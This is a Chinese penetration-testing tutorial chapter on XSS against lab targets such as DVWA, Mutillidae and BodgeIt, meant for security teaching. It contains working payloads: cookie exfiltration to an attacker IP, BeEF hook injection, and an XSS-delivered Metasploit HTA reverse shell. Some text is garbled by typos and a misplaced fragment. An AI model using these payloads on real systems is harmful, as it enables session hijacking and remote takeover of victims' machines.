使用跨站脚本攻击客户端

5.1使用浏览器绕过客户端控制

客户端和服务端的处理同时在 Web 应用中发生客户端通常用于接收呈现给用户的信息，值得一提的是一些输入验证与认证授权会在客户端执行。当这些验证和认证没有通过服务端再次做检查时，就会遇到一些安全问题。

在这节中，我们将看到这些实例，即恶意用户可以利用上述安全问题绕过客户端验证。

实战演练

首先看一个 WebGoat的实例:

1. 登陆 WebGoat，点击Access Control Flaws，转到 LAB:Role Based Access Control-Stage 1:Bypass Business Layer Access Control(阶段1:绕过业务层访问控制)

2．使用tomcat 的登陆凭证 (tom，tom)登陆这个表单，并用 F12用firefox的开发者工具

3．来检查一下员工表单。我们可以看到一个值为105的 html标签:Tom Cat(employee)

4．接着转到开发者工具中的 Network 选项卡并单击 ViewProfile，可以注意到请求中有一个名为employee_id 的参数，其值为105:

5．单击 ListStaff返回列表

6．更改为开发者工具中的Inspector 选项卡。

7．双记的值(105)将其改变为101尝试一下是否可以通过改变这个值查看其他用户的信息。

8．再次点击 ViewProfile :

9．现在，WebGoat 给的目标是使用 tom 的账户删除 tom 的个人信息。来尝试一下，点击ListStafff 返回列表

10．注意ViewProfile 按钮

11．它的名称是action，值为 ViewProfile，我们将其改为DeleteProfile

12．可以发现按钮上面的字已成功更改，点击 DeleteProfile 后，即可完成目标任务。

原理剖析

在这节中，我们可以发现员工 id 由客户端创建，并作为请求参数发送给服务端。因此我们尝试更改cmployeeid值，成功获得了其他员工的信息。然后我们通过检查器发现所有的按钮都是一个名称:action，它们的值是按钮被按下后要执行的操作。 (这些可以通过看开发者工具中的 network 选项卡看到)所以当我们发现SearchStaff ViewProfile  ListStaff 这样的操作时，也许 DeleteProfile 可以达成不一样的效果在我们更改 ViewProfile的值并单击后，发现确实是我们猜想的那样。

拓展...

OWASP BWA 靶机的 MutillidaeII 中也有一个绕过客户端验证的挑战，建议读者尝试一

下。

5.2识别跨站脚本漏洞

跨站脚本(XSS)漏洞是 Web 应用程序中最常见的漏洞之一；它在2017年的0WASP Top10中排名第七(https://owasporg/www-project-top-ten/)

在这个小节中，我们将看到发现 web 应用程序中XSS 漏洞的关键点。

实战演练

让我们看看以下步骤:

1.我将使用易受的 Web应用程序(DVWA)完成这个小节。使用默认的管理凭据(admin 作为用户名和密码)登录，然后到XSS reflected (反射XSS)。

2.测试漏洞的第一步是观察应用程序的正常响应。在文本框中填写一个名称字符串并且点击提交。在这里我们填写的是:Bob

3.应用程序使用的是我们输入的字符串。如果我们引入一些特殊字符或者数字而不是一个有效的名称字符串，会发生什么呢?让我们试试:

<'this is the first test'>

4.现在，我们看到我们在文本输入的任何内容都将出现在响应中，也就是说，它成为了响应 HTML页面的一部分。让我们检查页面的源代码来分析它是如何显示信息的:

源代码显示，在输出中没有对特殊字符进行编码，我们发送的特殊字符在没有任何预先处理的情况下反射回页面。“<”和“>”是用来定义 HTML 标签的，所以我们可以引入一些脚本代码。

5.试着在普通输入的后面加上非常简单的脚本代码:

Bob<script>alert('xss’)</script>

该页面执行了脚本，导致弹出了警告框，因此该页面容易收到 XSS 攻击。

6.现在，检查源代码，看看发生了什么:

看起来我们的输入被处理得好像它是 HTML 代码的一部分;浏览器解释了<script>标签并在其中执行代码，显示出了警告。

原理剖析

XSS 漏洞发生在服务器端和客户端对输入执行弱验证或不进行验证，且输出没有正确编码的情况下。这意味着该应用程序允许我们引入 HTML 代码中使用的字符，并且在将它们发送到页面时，不进行任何编码(例如使用 HTML 转“<”和“>”以防止它们被解为HTML或Javascript源代码)。

攻击者使用这些漏洞来更改客户端的行为，欺骗用户在他们不知情的情况下执行任务或者窃取私人信息。

为了发现XSS 漏洞的存在，我们可以关注以下几个方面:

1. 我们在框中输入的文本被精确的用于响应页面;也就是说，它是一个反射点。
2. 特殊字符没有编码或者转义。
3. 源代码显示，我们的输入被集成到了一个位置，它可以成为 HTML代码的一部分，并被浏览器解释为HTML代码。

拓展

在这个小节中，我们发现了一个反射 XSS;这意味着每当我们发送这个请求，服务器响应它时，脚本就会被执行。另一种类型的 XSS 为储存型XSS。储存型的XSS 可能是在输入提交后立即显示的，也可能不是，但是这种输入存储在服务器上(可能存储在数据库中)，在用户每次访问时都会执行。

5.3利用XSS获取Cookie

前几章中，我们知道了攻击者可以使用 Cookie 来冒充当前用户的身份，在上一章节我们也简单地引入了XSS的基本概念。如果目标站点存在XSS 漏洞并且Cookie 并没有开启 http-only 的话，那么它们二者将是 Web 安全的巨大隐患。

本章就带大家一起来学习如何使用XSS来获取用户的 cookie。

实战演练

利用XSS攻击Cookie是一定需要一个服务器的在这里例子中我们使用一个简单的python功能模块来代替服务器:

1、在Kali Linux的终端上运行以下命令来开启HTTP服务：

2、然后登陆 DVWA，再转到 XSS reflection 下;

3、在文本框中输入以下内容(192.168.106.128为Kali主 机IP 地址):

Bob<script>document.write('<imgsrc="http:/192.168.106.128:88/'+document.cookie+"">');</script>

4、查看终端，你会发现出现以下信息

注意:在GET后出现了用户的 cookie 信息!

原理剖析

在像 XSS 此类的攻击中，必须有用户的交互才能触发漏洞，那么这种情况下由于攻击者并不知道何时用户才会点击或者触发漏洞，所以攻击者必须有一个可以时刻监听 payload 是否被触发的服务器。

在上面的例子中，我们使用了 Python 中的 SimpleHTTPServer 模块来简单地替代服务器的功能，但是在稍微复杂的攻击环境下，这是不可取的。

在DVWA的XSSreflection 页面下输入 payload 然后提交，浏览器就会加载 payload 从而执行其中的 JavaScript 代码，通过 Kali Linux 的88端来请求一个以用户 Cokie 命名的图片，那么显然这个图片是不可能存在在 Kali Linux 上的，所以我们可以在上图中看到终端出现了404错误，紧跟着就打印出了错误日志，而错误日志就包

拓展

在上面的案例中，我们使用了<script>标签来向页面中插入了 JavaScript 代码，但是这并不是HTML中唯一的可以插入JS代码的标签，其他用的标签像<vidco><audio>等也可用于构造用于XSS的JS代码。例如:

1. 使用src/srouce参数给特定的标签生成错误信息，例如<img><audio>和<video>;

<img src=x οnerrοr="javascript;alert('xss')">

或者使用:

<audio><sourceοnerrοr="javascript;alert('xss)">

还可以:

<video><sourceοnerrοr="javascript:alert('xss)">

1. 使用<script>标签引入外部JavaScript 文件;

<script src="http://192.168.56.10:88/malicious.js"></script>

1. 如果在HTML中有外围标签，还可以尝试闭合它，例如<input value="输入的内容”>，我们可以闭合它并且重新生成新的事件。比如,这样写:

“onmouserover="javascript:alert('xss')

那么原来的标签就变为:

<inputvalue="输入的内容”  οnmοuseοver="javascript:alert('xss)">

1. 还可以在 href属性中注入链接或者其他事件，使用户在点击的时候触发：

<a  href=”javascript:alert(‘xss’)”>点击我</a>

其他参考内容见:

https://www.owasp.org/indcx.php/XSS_Filter_Evasion_Cheat_Shect

5.4 利用 DOMXSS

这种也称为客户端XSS。DOM XSS 以这种方式命名，是因为 payload 是由浏览器的 DOM接收和处理的，这意味着注入的代码永远不会在服务器端运行，并且任何服务器端验证或编码都对这种攻击无效。

在本文中，我们将分析如何在 Web 应用程序中检测和利用此漏洞。

实战演练

以下是在 Web应用程序中检测和利用此漏洞的步骤:

1.在易受攻击的虚拟机VM1中，转到MutillidaeIIOWASP 2013]XSS DOM|HTML5Storage

2．这个练习会展示一个表单，用于在览器的本地记录中存储信息和相应的session。然后在“网络”选项卡中启用开发人员工具。

3.尝试添加一些数据，我们发现在开发者工具中并没有进行网络通信，绿色条显示是我们输入的值:

4.如果我们检查”AddNew"按我们看到它在单击时调用了一个函数addItemToStoragc;

5.现在，转到 Debugger 选项卡并查找addItemToStorage函数，我们在indexphp的第1064行找到了这个函数:

数字1的箭头表示存在一些输入验证，但它取决于名为gUseJavaScriptValidation 的变量的值。 如果我们在代码中查找这个变量，我们发现它最初是以值 FALSE(第 1027 )声明的，并且没有它的值发生化，所以也许这个条件永远不会成立。我们跟随代码流并没有发现其他验证或修改保存密值的变量。在第 1093 行中，该值作为参数传递给 setMessage 函数，该函数在第 1060行中通过使用现有元素的inncrHTML属性将消息添加到页面。

6所以我们尝试设置一个包含 HTML 代码的键值。添加以下键作为键的新值:Cookbooktest <H1> 3</H1>

7.如果浏览器解释HTML代码，则很可能也会出现 JavaScript 块添加一个新条目，其中包含以下键值:

Cookbook test <img src = X onerror ="alert('DOM XSS')">

原理剖析

在本文中，我们首先分析了程序的流程，注意到它没有连接到服务器，因此向页面添加信息，并且它反回了用户给出的值。然后我们分析了将数据添加到浏览器内部存储的脚本代码,并注意到这些数据可能无法验证是否合法，而且通过 innerHTML 属性呈现给用户。对于输入的值，这将意味着数据被视为 HTML代码，而不是文本。我们尝试这种没有验证的代码，我们首先插入了一些带有 HTML 标头标签的文本，并获得了浏览器解释的代码。那么我们的最后一步就是尝试XSS。

含了用户的 Cookie

5.5利用BeEF执行XSS攻击

BeEF，全称The Browser Explitation Framework(浏览器攻击框架)，是一款针对web浏览器的渗透测试工具。

在这个小节中，我们将演示利用 XSS 漏洞和 BeEF 框架控制目标浏览器。

环境准备

在开始之前，我们需要确保已经启动了 BeEF 服务，默认管理页面的url是:

http://127.0.0.1:3000/ui/panel(默认账号和密码为 beef/beef)。

1.在Kali Linux中可以使用多种方法启动 BeEF 工具:

(1)在终端执行 beef-xss 命令启动BeEF。

(2)从安装BeEF的目录下启动，如下图所示

cd /usr/share/beef-xss/

./beef

注意1:启动 BeEF之前确保apache2已经启动(systemctl restart apache2);新版 BeEF需要在启动时修改默认账号密码，或在配置文件"/etc/bee-xss/config.yaml"修改默认账号密码

注意2:如果启动BeEF 报错，建议按下面步骤重新安装 beef-xss

(1)卸载 beef

#apt remove beef-xss

(2)重新安装ruby和beef

#apt update

#apt install ruby

#apt install ruby-dev libpcap-dev

#gem install eventmachine

#apt install beef-xss

2.现在，浏览器打开 http://127.0.0.1:3000/ui/panel 并使用修改后的账户名和密码(beef/beef001)登录。启动后不要关闭窗口，不然登录界面会提示密码错误。如果成功打开那我们就准备进行下一步。

实战演练

BeEF 需要目标浏览器调用 hook.js 文件，它能让浏览器挂钩到我们的 BeEF 服务器另外我们将利用一个易受XSS 攻击的应用程序，让目标用户调用它:

1想象你是受者(如 Win7机)，你收到了一封 XSS 接的子邮(或网页)若你点击它，访问了该链接:

htp://192.168.56.11/bodgeit/search,jsp?q=<script src="http:/192.168.56.10:3000/hookjs"></script>

2.现在，在 BeEF 面板中，攻击者将看到一个浏览器上线:

3.我看 Lgs 卡 BEF 了用户中执行的操作的信息，比如输入和单击，如下图所示:

4.在览器被 hooks 文之后，目标用户在被域中导航攻击时，者最好要让会话变为持久性的。下一步转到攻击者浏览器中的 Commands 选项卡，进入模块目录，转到浏览器中的Persistence|Man-In-The-Browser，然后单击Execute执行它。

5.模块执行后，在模块的历史记录中选择相关命令，检查结果如下:

6者可以使用BeEF 在受者器中如录 Browser | Gct Cookic，点击 Exccute 来获取用户的 Cookic:

原理剖析

在此小节中，我们使用 script 标记中的 src属性来调用外部JavaScript 文件。在这个例子中，我们是调用了 BeEF 服务器的钩子(hookis)。

这个 hook.js 文件与服务器通信，执行命令，并返回响应，以便攻击者可以看到它不会在客户端浏览器中打印任何内容，因此受害者通常不会知道他的浏览器已经被劫持。在让受害者执行钩子脚本之后，我们使用浏览器中的持久化模块 Manim-the-Browser，让浏览器在每次用户单击到相同域的链接时执行 AJAX请求，以便该请求保钩子并加载新页面。

我们还看到，BeEF 的日志记录了用户在页面上执行的每个操作，我们可以从中获得用户名和密码。还可以远程获取会话 cookie，这可能允许攻击者劫持受害者的会话。模块左边的彩色圆圈表示模块的可用性和可见性:绿色模块为受害浏览器正在工作，用户不应该看到它，橙色表示模块可以工作，但用户会注意到它或必须与它交互，灰色表示模块在该浏览器中还没有经过测试。

5.6从Web存储中提取信息

在 HTML5之前，Web应用序在用户计算机中持或基于会话存储信息的唯一方法是通过 cookie。在这个新版本的语言中，增加了新的存储选项，称为 Web 存储，即本地存储和会话存储。这些允许应用程序使用 JavaScript 从客户端(览)储索息并且在本地存储的情况下或在会话存储的情况下保留此信息直到显式删除，直到保存它的选项卡或窗口关闭为止。

在本文中，我们将使用XSS 漏洞从浏览器的 Web 存储中检索信息，表明如果应用程序容易受到攻击，攻击者可以轻松地利用这些信息。

环境准备

我们将再次使用 Mutillidae II 及其 HTML5 网络存储练来完成此实验。以下是步骤:

1.在 Kali 主机中，浏览 Mutillidae II (http://192.168.106.129/mutillidae)并在菜单中转到HTML5|HTML5 Web Storage(存储)HTML5 Storage2.

2.打开开发人员具，转到 Strage(存储)选项卡，再转到 LcalStorage(本地存储)并选择服务器地址(192.168.106.129):

在这里，我们可以看到 LocalStorage(本地存储)中有三个值。

3.现在，切换到Session Storage(会话存储)并选择服务器地址:

在临时或每会话存储中，我们看到四个值，其中一个称为

Secure.AuthenticationToken

4.我们之前提到可以基于每个域访问本地存储，这意味着在同一个域中运行的任何应用程序都可以读取和操作，例如，我们在步 2中看到的 MesageOfTheDay 条目。让我们尝试利用另一个漏洞应用程序来访问此数据。 在同一浏览器上，打开一个新选项卡，然后转到

Bodgelt (http://192.168.106.129/bodgeit/)。

5我们知道 Bodget 的搜索易受XSS 攻击因此输入以下有效载荷，在搜索框中执行它：

<script>alert(window.locaIStorage.MessageOfTheDay);</script>

6现在，尝试使用会话存储；

<script>alert(window.sessionStorage.getltem("Secure.AuthenticationToken"));</script>

7.由于我们无法从其他窗口访问会话存储，请返 MutillidaelI 选项卡并转至OWASP2013|XSS|Reflccted(First Order)(反映的第一顺序)|DNS Lookup(DNS 查找)。

8在"Hostname/IP”字段中输入前面的有效内并单击"Look DNS”(查找 DNS)按钮：

原理剖析

在本文中，我们了解了如何使用浏览器的开发人员工具来查看和编辑浏览器存储的内容我们验证了本地存储和会话存储之间的可访问性差异，以及 XSS 漏洞如何将所有存储的信息暴露给攻击者。

首先，我们从不同于添加存储的应用程序访问本地存储，但是在同一个域中，为此，我们使用了 window.localStorageMessageOfTheDay ，将键值作为对象名称并直接将其作为Local Storage 的成员引用。 对于会话存储，我们不得不移动到创建存储的窗口并利用其中的漏洞，在这里，我们使用不同的指令来获取我们想要的价值:window.sessionStoragegetItem("Secure.AuthenticationToken")。两种形式(键作为类和getItem的成员)对两种类型的存储都有效。我们在会话中使用了getItem，因为键包含圆点()，这JavaScript解释器作为对/属性定界符处理，因此我们需要使用getItem用引号括起来。

拓展

如果应用程序使用 Web 存储来保存有关用户的感信息，则XSS 不应该是唯一的安全问题。如果攻击者可以访问用户的计算机，则此攻击者可以直接访问保留本地存储的文件，因为浏览器保存此本地数据库文件中的明文信息。 读者可以通过不同的浏览器和不同的操作系统来研究这些文件的存储位置，以及如何阅读它们。

5.8使用XSS和Metasploit 取远程shell

在前几章中，我们知道了攻击者可以使用 XSS 提取用户信息凭证，然而，它的威力可不止于此，只要稍加一些社会工程学，攻击者就可以使用 XSS 来欺骗用户下载执行恶意文件，从而进一步控制主机和内网。

在本章节中，我们将学的使用XSS在目标计算机上远程执行命令。

环境准备

1.VM1漏洞系统 BodgeIt。

2.Windows7虚拟机。

实战演练

我们要做是用XSS使客户端的 Windows7 的览器开并执行管在 Kali Linux上的恶意 HTA 文件。

1.打开Metasploit 控制台:

msfconsole

2启动后，使用以下命令加载exploit 模块和payload:

use exploit/windows/misc/hta seryer

set payload windows/shell/reverse tcp

3.设置server 的监听端口为8888:

set sryport 8888

4设置本地IP及本地监听端口为12345:

set lhost 192.168.56,10

set lport 12345

show options

5现在我们运行exploit 等待客户端连接：run

注意服务器启动时给出的信息，Local IP 给出了访问 HTA文件的方式。(就像是k0Pjsl1tz2cI3Mm.hta)

6.现在切换到Windows 虚拟机，打开IE浏览器

7.假设攻击者发送了一封包含下面链接的钓鱼电子邮件给受害者，在IE(在IE 浏览器的安全设置中“禁用”XSS筛选器)中打开它

http://192.168.106.129/bodgeit/search.jsp?q=t<iframe

src="http://192.168.106.128:8888/k0Pjslltz2cI3Mm.hta"></iframe>

8.如果你的骗人的手段足够高，就可以使得用户接受不安全警告下载执行恶意文件

9.当提示运行、保存或者取消时，选择运行 HTA 文件

10.换 Kali你可以在控中看到 Metasploit 已经成来自客户端的负载请求并且建立了Shell 连接。

11在我们这个例子中，Metasploit 建立的会话在2，我们可以使用 sessions 命令查看详细信息

12使用 sessions-i2命令，你就会跳入 Windows 命窗口下。执行pconfig 命令来查看受害者的 IP 信息

原理剖析

HTA 是可以不受网页浏览器安全模式的限制来执行程序，它是一种 HTML 应用程序我们刚才使用 Metasploit 生成恶意的 HTA文件并开启本地服务来托管它，我们的恶意文件包含一个 反向 shell，反向 shel 是一个程序，当受害者执行它时，它将连接到攻击者的服务器，而不是在受害者中打开一个端口来等待连接传入，这也就是为什么它被称为反向连接的原因。当连接完成时，一个远程 shell 就建立好了。

在上面的例子中，我们使用8888 作为服务器的监听端口，12345作为漏洞反向连接的监听端口，然而在实际的应用场景中，我们应该使用较为低的端口，这样可以较为安全，SSH的22端口就是个不错的选择。